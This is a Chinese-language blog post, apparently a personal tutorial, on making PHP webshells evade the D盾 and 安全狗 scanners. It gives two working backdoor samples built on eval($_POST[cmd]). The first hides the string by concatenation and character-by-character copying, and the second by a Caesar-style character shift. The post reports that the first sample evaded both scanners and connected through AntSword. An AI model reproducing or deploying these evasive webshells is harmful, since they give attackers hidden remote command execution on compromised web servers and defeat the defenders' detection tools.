绕过webshell查杀工具

简介

个人觉得在编写免杀的webshell的时候,不是随便把几种方式拼凑起来,而是根据提示的信息进行修改。

示例一(2021-6-9)

绕过webshell查杀工具

从图片中可以看出,D盾对于eval(1)虽然报毒,但是级别为1,说明它其实不确定这是不是后门。但是它提示参数为1,说明它能匹配到明文参数,如果参数是变量呢?

绕过webshell查杀工具

当参数是变量时,D盾也能直接匹配到,是因为该变量是直接赋值的原因吗?如果该变量是通过计算/拼接方式获得的呢?

绕过webshell查杀工具

发现如果变量是通过拼接方式获取时,D盾还是会判定该变量为参数,猜测原因是拼接的方式还是过于简单,可以尝试使用其他变量拼接字符串,再将值传递给变量a。同时提示存在$_POST[]超全局预定义函数,可以再给变量赋值时,折断该部分。

绕过webshell查杀工具

通过变量d来传递参数,仍然可以检测出来,尝试遍历字符串再赋值给变量a。经过上面操作D盾不报关于$_POST[]的内容。

绕过webshell查杀工具

通过遍历字符串的方式赋值,D盾不再报毒,但是该webshell无法执行。

因为eval()构造器会将我们输入的字符串以PHP代码的方式运行,因为我们通过变量传入的是字符串,不是直接通过\(\_POST[]传入的数据流,所以需要传入完整的PHP语句,即`eval('eval(\)_POST[cmd]);');`,语句中的分号也不能少。

绕过webshell查杀工具

D盾和安全狗均没有检测出该webshell。

绕过webshell查杀工具

蚁剑链接成功。

// 2021-6-9
<?php 
$b = 'eval($_PO';
$c = 'ST[cmd]);';
$d = $b. $c ;
for ($i=0; $i < strlen($d); $i++) { 
	$a .= $d[$i];
}
eval($a);
 ?>

示例二(2021-6-10)

这个我想的是加密的方式进行绕过。通过示例一可以得知,eval()中的变量,值如果不是明显符合webshell特征的话,D盾是不报毒的。所以可以对一个字符串处理后,再通过变量的方式传递给eval()。

使用的是凯撒加密的思想,通过左移一位,我个人感觉这个示例跟示例一一样的思想。

<?php 
$a = 'du`k($_ONRS[w]);';
for ($i=0; $i < strlen($a); $i++) { 
    if ((ord($a[$i]) >= 96 and ord($a[$i]) < 123) or (ord($a[$i]) > 64 and ord($a[$i]) < 91)) {
        $b .= chr(ord($a[$i]) + 1);
    }else{
        $b .= $a[$i];
    }
}
eval($b);
 ?>

虽然D盾没有查杀出来,但是安全狗查出来了。

绕过webshell查杀工具

想法是安全狗对于“形”的查杀弱一点,但是通过一些字符串操作函数没能成功,通过字符串拼接成功了

上一篇:ML之xgboost:利用xgboost算法(sklearn+3Split+调参曲线+EarlyStop)训练mushroom蘑菇数据集(22+1,6513+1611)来预测蘑菇是否毒性(二分类预测)


下一篇:函数- eval()-lambda表达式和匿名函数-递归函数(阶乘练习)